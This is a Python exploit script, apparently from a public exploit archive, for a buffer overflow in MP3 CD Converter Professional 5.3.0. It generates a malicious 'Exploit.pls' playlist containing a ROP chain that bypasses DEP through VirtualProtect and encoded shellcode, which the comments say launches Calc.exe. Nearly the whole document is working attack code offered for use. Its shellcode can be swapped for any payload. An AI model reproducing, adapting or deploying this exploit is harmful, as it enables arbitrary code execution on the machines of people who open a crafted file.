MP3 CD Converter Professional 5.3.0 Overflow

`#!/usr/bin/python  
#  
#[+]Exploit Title: MP3 CD Converter Professional Universal DEP Bypass Exploit  
#[+]Date: 11\08\2011  
#[+]Author: C4SS!0 G0M3S  
#[+]Software Link: http://www.mp3-cd-converter.com/mp3cdconverter.exe  
#[+]Version: 5.3.0  
#[+]Tested On: WIN-XP SP3 Brazilian Portuguese  
#[+]CVE: N/A  
#  
  
from struct import pack  
from time import sleep  
from sys import exit  
print '''  
  
Created By C4SS!0 G0M3S  
E-mail [email protected]  
Blog net-fuzzer.blogspot.com  
'''  
sleep(2)  
  
shellcode = ("\xba\xcb\x38\xf3\xb9\xd9\xc7\xd9\x74\x24\xf4\x5f\x2b\xc9"  
"\xb1\x32\x83\xef\xfc\x31\x57\x0e\x03\x9c\x36\x11\x4c\xde"  
"\xaf\x5c\xaf\x1e\x30\x3f\x39\xfb\x01\x6d\x5d\x88\x30\xa1"  
"\x15\xdc\xb8\x4a\x7b\xf4\x4b\x3e\x54\xfb\xfc\xf5\x82\x32"  
"\xfc\x3b\x0b\x98\x3e\x5d\xf7\xe2\x12\xbd\xc6\x2d\x67\xbc"  
"\x0f\x53\x88\xec\xd8\x18\x3b\x01\x6c\x5c\x80\x20\xa2\xeb"  
"\xb8\x5a\xc7\x2b\x4c\xd1\xc6\x7b\xfd\x6e\x80\x63\x75\x28" # Shellcode WinExec "Calc.exe"  
"\x31\x92\x5a\x2a\x0d\xdd\xd7\x99\xe5\xdc\x31\xd0\x06\xef" # BadChars "\x00\x3d"  
"\x7d\xbf\x38\xc0\x73\xc1\x7d\xe6\x6b\xb4\x75\x15\x11\xcf"  
"\x4d\x64\xcd\x5a\x50\xce\x86\xfd\xb0\xef\x4b\x9b\x33\xe3"  
"\x20\xef\x1c\xe7\xb7\x3c\x17\x13\x33\xc3\xf8\x92\x07\xe0"  
"\xdc\xff\xdc\x89\x45\xa5\xb3\xb6\x96\x01\x6b\x13\xdc\xa3"  
"\x78\x25\xbf\xa9\x7f\xa7\xc5\x94\x80\xb7\xc5\xb6\xe8\x86"  
"\x4e\x59\x6e\x17\x85\x1e\x80\x5d\x84\x36\x09\x38\x5c\x0b"  
"\x54\xbb\x8a\x4f\x61\x38\x3f\x2f\x96\x20\x4a\x2a\xd2\xe6"  
"\xa6\x46\x4b\x83\xc8\xf5\x6c\x86\xaa\x98\xfe\x4a\x2d")  
################################ROP START HERE############################################  
rop = pack('<L',0x00425C69) * 4 # RETN  
rop += pack('<L',0x0045125a) # PUSH ESP # POP ESI # RETN 04  
rop += pack('<L',0x00425C69) * 2 # RETN  
rop += pack('<L',0x0046194c) # XCHG EAX,ESI # RETN  
rop += pack('<L',0x0040d8b1) # XCHG EAX,ECX # CLD # ADD AL,0 # POP EDI # POP ESI # POP EBP # POP EBX # ADD ESP,8 # RETN 04  
rop += "A" * 24 # JUNK  
rop += pack('<L',0x00425C69) * 2 # RETN  
rop += pack('<L',0x10008d68) # POP EDI # RETN  
rop += pack('<L',0x00425C69) # RETN  
rop += pack('<L',0x1000176a) # POP EBP # RETN  
rop += pack('<L',0x004319e6) # PUSH ESP # RETN // Endereco de retorno da funcao VirtualProtect  
rop += pack('<L',0x0043017a) # POP EBX # RET  
rop += pack('<L',0x00000500) # Valor de dwSize  
rop += pack('<L',0x004078f6) # POP EDX # ADD EAX,4C48300 # POP ESI # RETN  
rop += pack('<L',0x00000040) # Valor de flNewProtect  
rop += "BBBB" # JUNK  
rop += pack('<L',0x0040dc8c) # POP ESI # RETN  
rop += pack('<L',0x01E5225F) # JMP DWORD PTR DS:[EAX] // Jmp to eax, EAX == VirtualProtect  
rop += pack('<L',0x00444ad3) # POP EAX # RETN  
rop += pack('<L',0x007EC070) # Ponteiro para VirtualProtect  
rop += pack('<L',0x1000734d) # PUSHAD # RETN  
################################ROP END HERE###############################################  
buf = ("A" * 16)  
buf += pack('<L',0x00456333) # ADD ESP,318 # RETN 4  
buf += ("B" * (784-len(buf)))  
buf += pack('<L',0x004462D0) # ADD ESP,51C # RETN  
buf += ("A" * 24)  
buf += rop  
buf += "\x90" * 10  
buf += shellcode  
buf += "C" * 50000  
print "\t\t[+]Creating Exploit File..."  
sleep(1)  
try:  
f = open("Exploit.pls","wb")  
f.write(buf)  
f.close()  
print "\t\t[+]File \"Exploit.pls\" Created Succefully."  
sleep(1)  
except IOError,e:  
print "\t\t[+]Error: "+str(e)  
exit(-1)  
  
  
`